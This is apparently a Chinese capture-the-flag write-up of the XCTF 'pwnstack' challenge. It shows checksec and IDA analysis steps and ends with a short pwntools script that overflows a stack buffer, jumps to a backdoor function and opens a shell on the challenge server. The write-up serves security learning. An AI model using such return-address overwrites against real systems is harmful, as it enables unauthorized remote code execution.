攻防世界 pwnstack writeup

本文描述了一次解决攻防世界平台上的PWN题目pwnstack的过程。首先,检查了程序的安全特性,发现只有NX保护。接着在IDApro中进行静态分析,关注main函数和vuln函数中的buf。找到了/bin/sh字符串和后门函数地址。最后,编写并执行exploit,成功获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目(六):
【题型】PWN
【题目】pwnstack
【来源】(攻防世界)https://adworld.xctf.org.cn/challenges/list
【思路】栈溢出
【具体步骤】
Step1:checksec一下,发现程序是一个只有NX的64位程序
在这里插入图片描述

Step2:将程序放到IDApro下进行静态分析。
在这里插入图片描述

Step3:发现main函数,f5查看伪代码(如果键被占用,fn+f5)。
在这里插入图片描述

Step4:进入vuln()函数查看一下,发现有一个buf,查看发现从0xA0到0x08。
在这里插入图片描述
在这里插入图片描述

Step5:shift+F12查看字符串发现/bin/sh,进入发现后门函数,查看地址(ctr+x)发现为:0x400762

在这里插入图片描述
在这里插入图片描述

Step6:编写exp,输入后,ls查看文件,然后发现有一个叫flag的文件,cat查看文件,得到flag。
源码:

from pwn import *
p=remote("61.147.171.105",59432)
payload=b'a'*0xa8+p64(0x400762)
p.sendline(payload)
p.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值